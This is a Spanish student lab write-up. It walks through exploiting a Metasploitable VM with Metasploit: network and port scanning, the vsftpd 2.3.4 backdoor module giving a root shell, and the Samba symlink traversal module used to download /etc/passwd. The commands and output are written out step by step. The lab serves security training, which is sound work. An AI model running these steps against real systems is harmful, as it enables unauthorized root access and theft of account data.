

Ejercicio 1 Metasploit

Abrimos una terminal en kali linux e iniciamos como root.

Con ifconfig comprobamos nuestra ip para saber a que red estamos conectados.

```
(victor@victor)-[~]
$ sudo su
[sudo] contraseña para victor:
(victor@victor)-[/home/victor]
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.100.129 netmask 255.255.255.0 broadcast 192.168.100.255
    inet6 fe80::810f:f161:44:48a4 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:b5:3a:b1 txqueuelen 1000 (Ethernet)
    RX packets 5 bytes 1148 (1.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 38 bytes 5247 (5.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    device interrupt 19 base 0x2000

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Con arp-scan -I eth0 192.168.100.1/24 conocemos que otros equipos estan conectados a nuestra red. Encontramos la puerta de enlace, el broadcast y un equipo desconocido con ip 192.168.100.128.

```
(victor@victor)-[/home/victor]
# arp-scan -I eth0 192.168.100.1/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b5:3a:b1, IPv4: 192.168.100.129
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
WARNING: host part of 192.168.100.1/24 is non-zero
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.100.1 00:50:56:c0:00:13 (Unknown)
192.168.100.128 00:0c:29:63:9e:bd (Unknown)
192.168.100.254 00:50:56:e2:25:0c (Unknown)

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.326 seconds (110.06 hosts/sec). 3 responded

(victor@victor)-[/home/victor]
#
```

Lanzamos nmap a la ip del equipo desconocido para ver que puertos tiene vulnerables. Comprobamos que, por ejemplo, el puerto 21 se encuentra abierto.

```
(victor@victor)-[~]
$ nmap 192.168.100.128
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-20 10:16 CEST
Nmap scan report for 192.168.100.128
Host is up (0.0028s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:63:9E:BD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.27 seconds
```

Lanzamos un comando nmap concreto para conocer la version del servidor ftp del puerto 21. La version es la 2.3.4, una versión vulnerable.

```
(victor@victor)-[~]
$ nmap -p21 -sC -sV 192.168.100.128
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-20 10:17 CEST
Nmap scan report for 192.168.100.128
Host is up (0.00039s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.100.129
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
MAC Address: 00:0C:29:63:9E:BD (VMware)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.57 seconds
```

Ejecutamos msfconsole para poder acceder a las utilidades de metasploit, y buscamos la version del servidor ftp con el comando vsftpd 2.3.4, para ver si existe algun exploit disponible para esa versión del protocolo. Vemos que hay un exploit disponible

```
(root@victor)-[/home/victor]
# msfconsole
Metasploit tip: Open an interactive Ruby terminal with irb

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%          %          %          %          %          %          %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

= [ metasploit v6.4.64-dev ]
+ -- --[ 2519 exploits - 1296 auxiliary - 431 post ]
+ -- --[ 1607 payloads - 49 encoders - 13 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

searchmsf6 > search vsftpd 2.3.4

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -  -                                     -              -      -    -    -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execut
ion

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > █
```

Con el comando use 0 seleccionamos el exploit antes buscado.

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Asignamos la ip del host victima como set rhost 192.168.100.128. Una vez asignada ejecutamos run para que lleve a cabo la ejecución del exploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.100.128
rhost => 192.168.100.128
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.100.128:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.100.128:21 - USER: 331 Please specify the password.
[+] 192.168.100.128:21 - Backdoor service has been spawned, handling... type found. Their offer: 331 password
[+] 192.168.100.128:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.100.129:45077 -> 192.168.100.128:6200) at 2025-10-21 08:34:54 +0200
█
```

Una vez ejecutado el run tendremos acceso a la maquina victima. Podremos lanzar comandos para ver sus directorios, como ls por ejemplo.

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

Ejercicio 3 Metasploit

Lanzamos smbclient -L a la ip del equipo victima para enumerar sus recursos compartidos mediante samba. Una vez hecho lanzamos la consola de metasploit para aprovechar las vulnerabilidades del protocolo del cliente.

```
(victor@victor)-[~]
$ smbclient -L //192.168.100.130 -N
Anonymous login successful

  Sharename      Type      Comment
  -----
  print$         Disk      Printer Drivers
  tmp            Disk      oh noes!
  opt            Disk
  IPC$           IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
  ADMIN$         IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

  Server          Comment
  -----
  Workgroup       Master
  WORKGROUP       METASPLOITABLE

(victor@victor)-[~]
$
```

Utilizamos el modulo auxiliary/admin/smb/samba_symlink_traversal con el comando use, de manera que creamos un enlace simbolico al sistema de archivos raiz. Lanzamos set rhost con la ip de la victima, set SMBSHARE tmp para nombrar el recurso compartido y finalmente run para ejecutar.

```
msf6 > use auxiliary/admin/smb/samba_symlink_traversal
msf6 auxiliary(admin/smb/samba_symlink_traversal) > set rhost 192.168.100.130
rhost => 192.168.100.130
msf6 auxiliary(admin/smb/samba_symlink_traversal) > set smb_share tmp
[!] Unknown datastore option: smb_share. Did you mean SMBSHARE?
smb_share => tmp
msf6 auxiliary(admin/smb/samba_symlink_traversal) > set SMBSHARE tmp
SMBSHARE => tmp
msf6 auxiliary(admin/smb/samba_symlink_traversal) > run
[*] Running module against 192.168.100.130
[*] 192.168.100.130:445 - Connecting to the server...
[*] 192.168.100.130:445 - Trying to mount writeable share 'tmp'...
[*] 192.168.100.130:445 - Trying to link 'rootfs' to the root filesystem...
[*] 192.168.100.130:445 - Now access the following share to browse the root filesystem:
[*] 192.168.100.130:445 - \\192.168.100.130\tmp\rootfs\

[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/samba_symlink_traversal) >
```

Hecho esto tendremos acceso al recurso compartido creado por el exploit, y podremos navegar por el sistema de archivos de la maquina victima.

```
[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/samba_symlink_traversal) > smbclient //192.168.100.130/tmp -N
[*] exec: smbclient //192.168.100.130/tmp -N

Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> █
```

Nos movemos al directorio rootfs.

```
smb: \> cd rootfs
smb: \rootfs\> █
```

Ya en el directorio raiz podemos listar y descargar directorios y archivos. Con get y la ruta del fichero podremos descargarlo en nuestra maquina local. Descargaremos el archivo sensible passwd, en el que se almacena toda la informacion de las cuentas de usuario.

```
smb: \rootfs\> get /etc/passwd passwd_descarga
getting file \rootfs\etc\passwd of size 1581 as passwd_descarga (257,3 KiloBytes/sec) (average 257,3 KiloBytes/sec)
smb: \rootfs\> █
```

Una vez hecho comprobamos que se nos ha descargado en nuestra maquina, llamandose passwd_descarga.

```
(victor@victor)-[~] passwd
$ ls
8572  root  Documentos  exploit.c  Mr.Holmes  passwd_descarga  Público
Descargas  Escritorio  Imágenes  Música  Plantillas  etc  Vídeos
smb: \rootfs\> get /etc/passwd passwd_descarga
```


Lanzamos un cat al archivo descargado, y comprobamos que se ha descargado correctamente, pudiendo acceder a datos sensibles de la maquina victima.

```
(victor@victor)-[~]
$ cat passwd_descarga
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftpd:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002::,/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
```